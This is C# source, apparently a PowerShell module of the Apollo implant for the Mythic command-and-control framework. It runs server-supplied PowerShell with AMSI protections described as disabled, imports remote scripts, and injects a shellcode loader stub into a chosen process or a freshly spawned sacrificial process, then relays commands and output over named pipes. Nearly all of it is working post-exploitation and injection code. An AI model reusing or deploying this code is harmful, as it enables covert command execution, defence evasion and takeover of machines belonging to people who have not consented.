public static void SetPowerShellImportFile(AJ.Job job, Agent agent, bool clearFile = false)
{
Task task = job.Task;
if (clearFile)
{
LoadedPowerShellScripts = new Dictionary <string, string>();
job.SetComplete("Cleared PowerShell imports.");
return;
}
JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters);
/*
* Response from the server should be of the form:f
* {
* "assembly_id": "file_id",
* "assembly_name": "name_of_assembly"
* }
*/
string file_id = json.Value <string>("file_id");
string short_name = json.Value <string>("file_name");
byte[] psImportBytes = agent.Profile.GetFile(job.Task.id, file_id, agent.Profile.ChunkSize);
if (psImportBytes == null || psImportBytes.Length == 0)
{
job.SetError(String.Format("PowerShell Import (File ID: {0}) was unretrievable or of zero length.", file_id));
//agent.PowerShellImportFileID = "";
return;
}
string psImportString = System.Text.Encoding.UTF8.GetString(psImportBytes, 0, psImportBytes.Length);
LoadedPowerShellScripts[short_name] = psImportString;
job.SetComplete($"Imported {short_name}");
}
public static void GetLoadedPowerShellScriptNames(AJ.Job job, Agent agent, bool clearFile = false)
{
Task task = job.Task;
string result = "";
foreach (KeyValuePair <string, string> entry in LoadedPowerShellScripts)
{
result += entry.Key + "\n";
}
if (result == "")
{
result = "No scripts currently loaded.";
}
job.SetComplete(result);
}
public static void ExecutePowerShell(AJ.Job job, Agent agent)
{
Task task = job.Task;
string args = task.parameters;
string scripts = GetAllLoadedScripts();
try
{
if (scripts != "")
{
args = scripts + "\n\n" + args;
}
string result = InvokePS(args);
job.SetComplete(result);
}
catch (Exception e)
{
job.SetError($"Error invoking PowerShell: {e.Message}");
}
}
/// <summary>
/// Execute arbitrary powershell commands within
/// a PS Runspace. Various AMSI options are disabled
/// as well. See: SharpSploit Shell.PowerShellExecute
/// </summary>
/// <param name="job">Job associated with this task.</param>
/// <param name="agent">Agent associated with this task.</param>
///
public static void Execute(AJ.Job job, Agent agent)
{
switch (job.Task.command)
{
#if POWERPICK
case "powerpick":
ExecutePowerPick(job, agent);
break;
#endif
#if POWERSHELL
case "powershell":
ExecutePowerShell(job, agent);
break;
#endif
#if PSIMPORT
case "psimport":
SetPowerShellImportFile(job, agent);
break;
#endif
#if PSINJECT
case "psinject":
ExecutePsInject(job, agent);
break;
#endif
#if PSCLEAR
case "psclear":
SetPowerShellImportFile(job, agent, true);
break;
#endif
#if LIST_SCRIPTS
case "list_scripts":
GetLoadedPowerShellScriptNames(job, agent, true);
break;
#endif
default:
job.SetError("Unsupported code path in PowerShellManager.");
break;
}
}
public static void ExecutePsInject(AJ.Job job, Agent agent)
{
Task task = job.Task;
string psCommand;
string loadedScript = GetAllLoadedScripts();
string loaderStubID;
byte[] loaderStub;
string pipeName;
int pid = -1;
JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters);
loaderStubID = json.Value <string>("loader_stub_id");
// Reset the loader stub each time as a new named pipe is given to us from on high.
loaderStub = null;
loaderStub = agent.Profile.GetFile(task.id, loaderStubID, agent.Profile.ChunkSize);
if (loaderStub == null || loaderStub.Length == 0)
{
job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID));
return;
}
pipeName = json.Value <string>("pipe_name");
if (pipeName == "")
{
job.SetError("No pipe name was given to connect to (server error).");
return;
}
psCommand = json.Value <string>("powershell_params");
if (psCommand == "")
{
job.SetError("No commands were given to execute.");
return;
}
pid = json.Value <int>("pid");
job.ProcessID = pid;
// Spawn new process
// Inject into process
// Send PowerShell to process
// Receive output from PowerShell
try
{
ApolloTaskResponse response;
var injectionType = Injection.InjectionTechnique.GetInjectionTechnique();
var injectionHandler = (Injection.InjectionTechnique)Activator.CreateInstance(injectionType, new object[] { loaderStub, (uint)pid });
if (injectionHandler.Inject())
{
// Connect to initial named pipe and send job
// Also sends along task ID to use as new named pipe name to read output
// This prevents colliding with other jobs that might be running at the same time
// ...hopefully
NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);
pipeClient.Connect(30000);
BinaryFormatter bf = new BinaryFormatter();
bf.Binder = new PowerShellJobMessageBinder();
bf.Serialize(pipeClient, new PowerShellJobMessage()
{
LoadedScript = loadedScript,
Command = psCommand,
ID = job.Task.id,
});
try
{
List <string> output = new List <string>();
Mythic.Structs.AssemblyResponse asmResponse = new Mythic.Structs.AssemblyResponse()
{
sacrificial_pid = pid,
sacrificial_process_name = System.Diagnostics.Process.GetProcessById(pid).ProcessName
};
using (StreamReader sr = new StreamReader(pipeClient))
{
//sr.ReadLine();
while (!sr.EndOfStream)
{
var line = sr.ReadLine();
if (line != null)
{
job.AddOutput(line);
}
}
}
job.SetComplete("");
}
catch (Exception e)
{
job.SetError(String.Format("Error while reading from stream: {0}", e.Message));
}
}
else
{
job.SetError($"Could not inject into PID {pid}: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
}
}
catch (Exception e)
{
job.SetError(String.Format("Error in psinject. Reason: {0}", e.Message));
}
}
public static void ExecutePowerPick(AJ.Job job, Agent agent)
{
Task task = job.Task;
string psCommand;
string loadedScript = GetAllLoadedScripts();
string loaderStubID = "";
byte[] loaderStub = null;
string pipeName;
JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters);
loaderStubID = json.Value <string>("loader_stub_id");
// Reset the loader stub each time as a new named pipe is given to us from on high.
loaderStub = agent.Profile.GetFile(task.id, loaderStubID, agent.Profile.ChunkSize);
if (loaderStub == null || loaderStub.Length == 0)
{
job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID));
return;
}
pipeName = json.Value <string>("pipe_name");
if (pipeName == "")
{
job.SetError("No pipe name was given to connect to (server issue).");
return;
}
psCommand = json.Value <string>("powershell_params");
if (psCommand == "")
{
job.SetError("No parameters were given to execute.");
return;
}
// Spawn new process
// Inject into process
// Send PowerShell to process
// Receive output from PowerShell
//ProcessWithAnonymousPipeIO sacrificialProcess = null;
SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
string sacrificialApp;
var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();
try
{
sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);
sacrificialProcess.Exited += delegate(object sender, EventArgs e)
{
job.SetComplete("");
};
ApolloTaskResponse response;
Mythic.Structs.AssemblyResponse asmResponse;
if (sacrificialProcess.Start())
{
job.ProcessID = (int)sacrificialProcess.PID;
job.sacrificialProcess = sacrificialProcess;
asmResponse = new Mythic.Structs.AssemblyResponse()
{
sacrificial_pid = (int)sacrificialProcess.PID,
sacrificial_process_name = startupArgs.Application
};
#region PowerPick Testing
// setup redirection
sacrificialProcess.OutputDataReceived = delegate(string data)
{
job.AddOutput(data);
};
sacrificialProcess.ErrorDataReceived = delegate(string data)
{
job.AddOutput(data);
};
#endregion
if (sacrificialProcess.Inject(loaderStub))
{
// Connect to initial named pipe and send job
// Also sends along task ID to use as new named pipe name to read output
// This prevents colliding with other jobs that might be running at the same time
// ...hopefully
NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);
pipeClient.Connect(30000);
BinaryFormatter bf = new BinaryFormatter();
bf.Binder = new PowerShellJobMessageBinder();
bf.Serialize(pipeClient, new PowerShellJobMessage()
{
LoadedScript = loadedScript,
Command = psCommand,
ID = job.Task.id,
});
try
{
var msg = (PowerShellTerminatedMessage)bf.Deserialize(pipeClient);
#region old good code
//List<string> output = new List<string>();
//using (StreamReader sr = new StreamReader(pipeClient))
//{
// //sr.ReadLine();
// while (!sr.EndOfStream)
// {
// var line = sr.ReadLine();
// if (output.Count > 4)
// {
// asmResponse.output = output.ToArray();
// response = new ApolloTaskResponse(job.Task.id, false, asmResponse, "");
// agent.TryPostResponse(task.id, response);
// output.Clear();
// }
// output.Add(line);
// }
// if (output.Count > 0)
// {
// asmResponse.output = output.ToArray();
// response = new ApolloTaskResponse(job.Task.id, false, asmResponse, "");
// agent.TryPostResponse(task.id, response);
// output.Clear();
// }
//}
#endregion
}
catch (Exception e)
{
job.SetError(String.Format("Error while reading from stream: {0}", e.Message));
return;
}
}
else
{
job.SetError($"Could not inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
}
}
else
{
job.SetError($"Could not start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
}
}
catch (Exception e)
{
if (sacrificialProcess != null)
{
job.SetError(String.Format("Error in powerpick (PID: {0}). Reason: {1}", sacrificialProcess.PID, e.Message));
}
else
{
job.SetError(String.Format("Error in powerpick. Reason: {0}", e.Message));
}
}
finally
{
if (!sacrificialProcess.HasExited)
{
sacrificialProcess.Kill();
}
}
}
